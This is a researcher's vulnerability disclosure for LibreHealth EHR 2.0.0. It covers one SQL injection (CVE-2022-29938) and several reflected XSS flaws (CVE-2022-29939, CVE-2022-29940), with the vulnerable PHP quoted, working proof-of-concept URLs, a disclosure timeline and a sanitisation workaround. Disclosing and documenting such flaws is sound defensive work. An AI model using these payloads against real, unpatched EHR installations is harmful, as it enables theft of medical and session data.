I have found several vulnerabilities in open-source system LibreHealth EHR 2.0.0. More precisely 1 SQL-injection (CVE-2022-29938) and 2 Cross-site scripting (XSS) (CVE-2022-29939, CVE-2022-29940) vulnerabilities.
All these vulnerabilities requires authentication. There is no patch, so these are zero-day vulnerabilities 🙂 But you can find temporary workaround on the end of this paper.
1. SQL-injection via parameter payment_id (CVE-2022-29938)
Lack of sanitization of the GET parameter payment_id in interface\billing\new_payment.php via interface\billing\payment_master.inc.php leads to SQL injection.
Vulnerable code is in file \librehealth_host\interface\billing\payment_master.inc.php:77
...
if($payment_id>0)
{
$rs= sqlStatement("select pay_total,global_amount from ar_session where session_id='$payment_id'");
$row=sqlFetchArray($rs);
...
And the request parameter is catched in file \librehealth_host\interface\billing\new_payment.php:49
...
$payment_id = isset($_REQUEST['payment_id']) ? $_REQUEST['payment_id'] : '';
...
Proof-of-concept:
http://librehealth_host/interface/billing/new_payment.php?payment_id=1%27and(extractvalue(0x0a,concat(0x0a,(user()))))--+a
2. Cross-Site Scripting (XSS) (CVE-2022-29939)
Lack of sanitization of the GET parameters debug and InsId in interface\billing\sl_eob_process.php leads to multiple cross-site scripting (XSS) vulnerabilities.
Vulnerable code is in file \librehealth_host\interface\billing\sl_eob_process.php:592
...
<input type="hidden" name="debug" value="<?php echo $_REQUEST['debug'];?>" />
<input type="hidden" name="InsId" value="<?php echo $_REQUEST['InsId'];?>" />
...
Proof-of-concept:
http://librehealth_host/interface/billing/sl_eob_process.php?eraname=1&debug=1%22%3E%3Cscript%3Ealert(%27true%20xss%27);%3C/script%3E%3C!--
http://librehealth_host/interface/billing/sl_eob_process.php?eraname=1&InsId=1%22%3E%3Cscript%3Ealert(%27insid%20true%20xss%27);%3C/script%3E%3C!--
3. Cross-Site Scripting (XSS) (CVE-2022-29940)
Lack of sanitization of the GET parameters formseq and formid in interface\orders\find_order_popup.php leads to multiple cross-site scripting (XSS) vulnerabilities.
Vulnerable code is in file \librehealth_host\interface\orders\find_order_popup.php:91
...
function selcode(typeid) {
location.href = 'find_order_popup.php<?php
echo "?order=$order&labid=$labid";
if (isset($_GET['formid' ])) echo '&formid=' . $_GET['formid'];
if (isset($_GET['formseq'])) echo '&formseq=' . $_GET['formseq'];
?>&typeid=' + typeid;
return false;
}
...
Proof-of-concept:
http://librehealth_host/interface/orders/find_order_popup.php?formid=123%27;}alert(123);function%20nt(typeid){var%20t=%27
http://librehealth_host/interface/orders/find_order_popup.php?formseq=123%27;}alert(123);function%20nt(typeid){var%20t=%27
http://librehealth_host/interface/orders/find_order_popup.php?formseq=1%27%3E%3Cscript%3Ealert(123);%3C/script%3E
http://librehealth_host/interface/orders/find_order_popup.php?formid=1%27%3E%3Cscript%3Ealert(123);%3C/script%3E
Timeline of the vulnerabilities:
04/27/2022 – initial discover and requesting CVE id’s from MITRE
04/29/2022 – MITRE was assigned CVE id’s
05/01/2022 – notification to vendor
05/04/2022 – vendor confirmed and allowed to publish write-up (because the project is now in migration process to Laravel, where I think default filters of framework will cut off a lot of vulnerabilities)
05/04/2022 – published
Workaround:
There is no patch for this vulnerabilities because of migration to more stable framework. But as temporary workaround I advice you to add htmlspecialchars() before every echo function to fix XSS, and pass the $payment_id through add_escape_custom() function before execution SQL query to fix SQL-injection.
P.S. Special thanks to Robert O’Connor from LibreHealth team for quick responses.